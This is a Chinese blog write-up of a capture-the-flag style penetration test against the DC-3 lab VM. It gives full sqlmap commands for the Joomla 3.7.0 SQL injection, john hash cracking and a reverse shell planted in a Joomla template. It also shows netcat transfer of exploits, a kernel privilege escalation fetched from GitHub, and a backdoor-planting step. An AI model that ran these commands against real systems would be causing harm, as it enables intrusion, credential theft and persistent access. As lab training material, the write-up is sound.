8.100个渗透测试实战#8(DC-3)

世间一切皆可努力

                                                                                                                                                                                    感谢浏览

目录

一、实验环境

二、实验流程

三、实验步骤

(一)信息收集——主机发现阶段

1.查看kali的网卡、IP等信息;(网卡名:eth0,IP地址:192.168.97.129)

2.查看靶机页面;

3.探测特定网络内的存活主机;(netdiscover,arp-scan,nmap)

4.分析所得:

(二)信息收集——端口(服务)扫描阶段

1.扫描靶机的端口、服务、running_OS等信息;

2.分析所得:

(三)渗透测试——80端口(http服务)

1.枚举靶机网站的目录和页面等;

2.在扫描的同时,访问靶机站点的首页;

3.逐个分析以上的扫描结果;

4.分析所得:

5.判断joomla的版本;

6.在kali对42033.txt进行修改,获取payload,再sqlmap跑出admin的密码;

7.把爆破出的hash加密后的密码,复制进hash,使用john破解;

8.分析所得:

(四)渗透测试——登录后台页面,修改模板,Getshell

1.登录网址后台;

2.修改模板,写入php-reverse-shell.php,反弹shell到kali;

3.获取交互式shell;

(六)渗透测试——进行致命连问,进一步信息收集,从而本地提权

1.开始致命连问,没有可用信息;

2.尝试内核提权;

3.   扩大范围再搜一次exp;

(七)清楚痕迹,留下后门

1.靶机Shell:wget 1.php;

2.物理机,使用菜刀连接获取目录结构,右键获取终端;

四、总结

1.网站的CMS是Joomla,其登陆后可以修改模板,写入php-reverse-shell.php的内容,反弹shell;

2.Joomal3.7.0存在着一个sql注入漏洞,存在于kali的42033.txt内,可以提示我门使用sqlmap获取网站后台admin用户的密码(内附payload);

3.John --show ./hash(破解hash加密密文);

4.joomscam专门用来扫描joomla的站点;


一、实验环境

  • 靶机:DC-3,IP地址:192.168.97.159
  • 测试机:Kali,IP地址:192.168.97.129
  • 测试机:物理机Win10
  • 连接方式:NAT

二、实验流程

  • 信息收集——主机发现阶段
  • 信息收集——端口(服务)扫描阶段
  • 渗透测试——80端口
  • 渗透测试——Getshell
  • 渗透测试——本地提权
  • 清楚痕迹,留下后门

三、实验步骤

(一)信息收集——主机发现阶段

1.查看kali的网卡、IP等信息;(网卡名:eth0,IP地址:192.168.97.129)

2.查看靶机页面;

3.探测特定网络内的存活主机;(netdiscover,arp-scan,nmap)

  • netdiscover -i eth0 -r 192.168.97.0/24

            -i   指定出口网卡

            -r   指定待扫描网段

  • arp-scan -l

          --localnet or -l    指定扫描本地网络

  • nmap -sP 192.168.97.0/24

         -sP  ping扫描且不扫描端口

4.分析所得:

  • kali:192.168.97.129
  • 测试机DC-3:192.168.97.159

(二)信息收集——端口(服务)扫描阶段

1.扫描靶机的端口、服务、running_OS等信息;

  • nmap -p- -sV -O -A 192.168.97.129

            -p-      扫描全端口

            -sV     扫描端口的服务信息

            -O/A   扫描靶机的运行的操作系统信息

2.分析所得:

  • 共扫描65535个端口,只有1个端口打开;
  • 80端口处于open状态,对应开启的服务是http;
  • 靶机运行的操作系统是Ubuntu,内核版本在3.2-4.9之间;

(三)渗透测试——80端口(http服务)

1.枚举靶机网站的目录和页面等;

  • dirb http://192.168.97.159 /usr/share/dirb/wordlists/big.txt

  • 遇见扫描

2.在扫描的同时,访问靶机站点的首页;

  • 火狐浏览器,访问:http://192.168.97.159

            如下图所示:

                             ①该页面是DC-3的家,结合登录框,猜测是DC-3网站的后台管理页面;

                             ②猜测用户名为admin;

                             ③提示大意:这里只有一个入口,只有一个flag,毫无疑问的需要获取root权限,祝我好运之类的话

  • 指纹识别网站首页

            如下图所示,其CMS是Joomla

                 //注意joomla3.7.0存在一个关于sql注入的漏洞,存在kali的42033.txt内(searchsploit -m 42033.txt   复制到当前目录)

                 //注意joomla的模板处可以编辑html的php文件,只要写入php-reverse-shell.php,即可反弹

  • F12调出开发者工具,查看元素,没有可以信息;
  • 尝试访问robots.txt

           如下图所示,404

3.逐个分析以上的扫描结果;

  • http://192.168.97.129/administrator

         如下图所示,登录框,点击左下角可以跳转到主页;

  • 其余页面,大多是空白页,猜测是php页面,但是里面用注释写着很多的内容;

4.分析所得:

  • 唯一的一个80端口,开启了http服务;
  • 该靶机的网站首页,是一个登录页面,猜测用户名是admin;
  • 网站的CMS是Joomla,其登陆后可以修改模板,写入php-reverse-shell.php的内容,反弹shell;
  • Joomal3.7.0存在着一个sql注入漏洞,存在于kali的42033.txt内,猜测可以帮助我们获取网站后台admin用户的密码;

5.判断joomla的版本;

  • joomscan --url http://192.168.97.159

            joomscan         是一个专门用来扫描joomla搭建的网站(形如WordPress的扫描工具wpscan一样)

            --url                  后接网址

            如下图所示,Joomla的版本是3.7.0,管理员页面是/administrator

6.在kali对42033.txt进行修改,获取payload,再sqlmap跑出admin的密码;

  • searchsploit 42033.txt

  • searchsploit -m 42033.txt

          -m      把某某exp复制到当前目录下

  • cat  42033.txt

        如下图所示,我找到了42033.txt的使用方法,把localhost改为靶机的IP地址192.168.97.159即可

  • 修改exp为:sqlmap -u "http://192.168.97.159/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
  • 开始爆库:sqlmap -u "http://192.168.97.159/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

  • 开始爆表:sqlmap -u "http://192.168.97.159/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" --tables -p list[fullordering]

  • 开始爆字段(列):sqlmap -u "http://192.168.97.159/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" T "#__users" --columns -p list[fullordering]

  • 开始爆字段值:sqlmap -u "http://192.168.97.159/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" T "#__users" C "name,password" --dump -p list[fullordering]

7.把爆破出的hash加密后的密码,复制进hash,使用john破解;

  • john --show ./hash

          --show    显示爆破的结果

          hash       是保存admin:$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu的文本

如上图所示,爆出了密码,admin:snoopy

8.分析所得:

  • 登录页:http://192.168.97.159或者http://192.168.97.159/administrator
  • 一个用户,admin:snoopy
  • 猜测可以使用模板的修改功能,获取shell;

(四)渗透测试——登录后台页面,修改模板,Getshell

1.登录网址后台;

  • http://192.168.97.159

        如下图所示,登录成功,并不是后台页面

  • http://192.168.97.159/administrator

         如下图所示,登录成功

2.修改模板,写入php-reverse-shell.php,反弹shell到kali;

  • 点击extensions扩展--->点击templates模板的templates--->点击Beez3--->点击new file,再html目录下新建一个php-reverse-shell.php文件,并且把提前准备好的脚本拷贝进去(注意把IP修改为kali的,并且端口随便写一个8443)--->点击保存即可相当于上传了一个shell;

  • kali打开侦听端口8443

  • 分析网站保存的php-reverse-shell.php在哪

          如下图所示,提示:“/html/php-reverse-shell.php”    in    template "beez3“

         根据提示,猜测目录结果:http://192.168.97.159/templates/beez3//html/php-reverse-shell.php

  • 浏览器访问http://192.168.97.159/templates/beez3//html/php-reverse-shell.php,从而触发连接

3.获取交互式shell;

  • python -c 'import pty;pty.spawn("/bin/bash")'

          发现python并没安装,获取失败

(六)渗透测试——进行致命连问,进一步信息收集,从而本地提权

1.开始致命连问,没有可用信息;

  • history

  • whoami

  • id

  • pwd

  • ls -la

  • ls  -la /home

  • cat /etc/passwd

  • ls -la /home/dc3

  • cd /var/www/html
  • ls -la

  • cat configuration.php

         如下图所示,发现了可以的密码,但是没有交互式的shell,不能使用mysql

  • netstat -pantu

        如下图所示,3306端口打开的,mysql是在运行的

  • cat configuration.php    

           如下图所示,发现了日志存放文件

  • ls -l /var/www/html/administrator/logs

  • cat /var/www/html/administrator/logs/com_biblestudy.errors.php

            如下图所示,瞎搞,看不懂。。。。。。

  • cat /var/www/html/administrator/logs/error.php

  • cat /var/www/html/administrator/logs/index.html

  • uname -r

  • lsb_release -r

  • lsb_release -a

2.尝试内核提权;

  • shell上查看靶机的内核版本:uname -r

  • kali另启动一个终端搜索相应的提权脚本:searchsploit 4.4.0-21 pri esc

        如下图所示,发现了40049.c    47170.c   44300.c

  • 尝试:40049.c
  • kali,复制exp到当前目录,并且发送exp

           searchsploit -m 40049.c
            nc -lp 1234 < 40049.c

  • 靶机,接收Exp

            cd /tmp
            nc -nv 192.168.97.129 1234 > 40049.c
            gcc -o 40049 40049.c
            gcc -o 40049 40049.c -pthread 

            //结果没用。。。。。

  • 47170.c               //没用
  • 44300.c               //没用

3.   扩大范围再搜一次exp;

  • kali,searchsploit  16.04  4.4 pri esc

             如下图所示,发现了可能有用的:39972.txt(百度来的。。。。)

  • kali,把39772.txt复制下来:searchsploit -m 39772.txt

  • 查看exp使用方法,cat 39772.txt

  • kali上wget获取网上的exp压缩包:wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip

  • 把kali上的exp传输给靶机的Shell上:nc -lp 12345 < 39772.zip

  • 靶机的shell上:nc -nv 192.168.97.129 12345 > 39772.zip

  • 靶机的shell上:unzip 39772.zip

  • 靶机的shell上:tar -xvf crasher.tar 

  • 靶机的shell上:tar -xvf exploit.tar

  • 靶机的shell上:cd ebpf_mapfd_doubleput_exploit(只需要进入这个目录即可)
  • 靶机的shell上:  ./compile.sh(执行该脚本,自动编译出doubleput、hello、suidhelper)

  • ./doubleput  提升为root,获取flag

(七)清楚痕迹,留下后门

1.靶机Shell:wget 1.php;

2.物理机,使用菜刀连接获取目录结构,右键获取终端;

  • 出了点问题。。。。

四、总结

1.网站的CMS是Joomla,其登陆后可以修改模板,写入php-reverse-shell.php的内容,反弹shell;

2.Joomal3.7.0存在着一个sql注入漏洞,存在于kali的42033.txt内,可以提示我门使用sqlmap获取网站后台admin用户的密码(内附payload);

3.John --show ./hash(破解hash加密密文);

4.joomscam专门用来扫描joomla的站点;

                                                                                                                                                                         

发布了148 篇原创文章 · 获赞 34 · 访问量 1万+

猜你喜欢

转载自blog.csdn.net/qq_45555226/article/details/105167015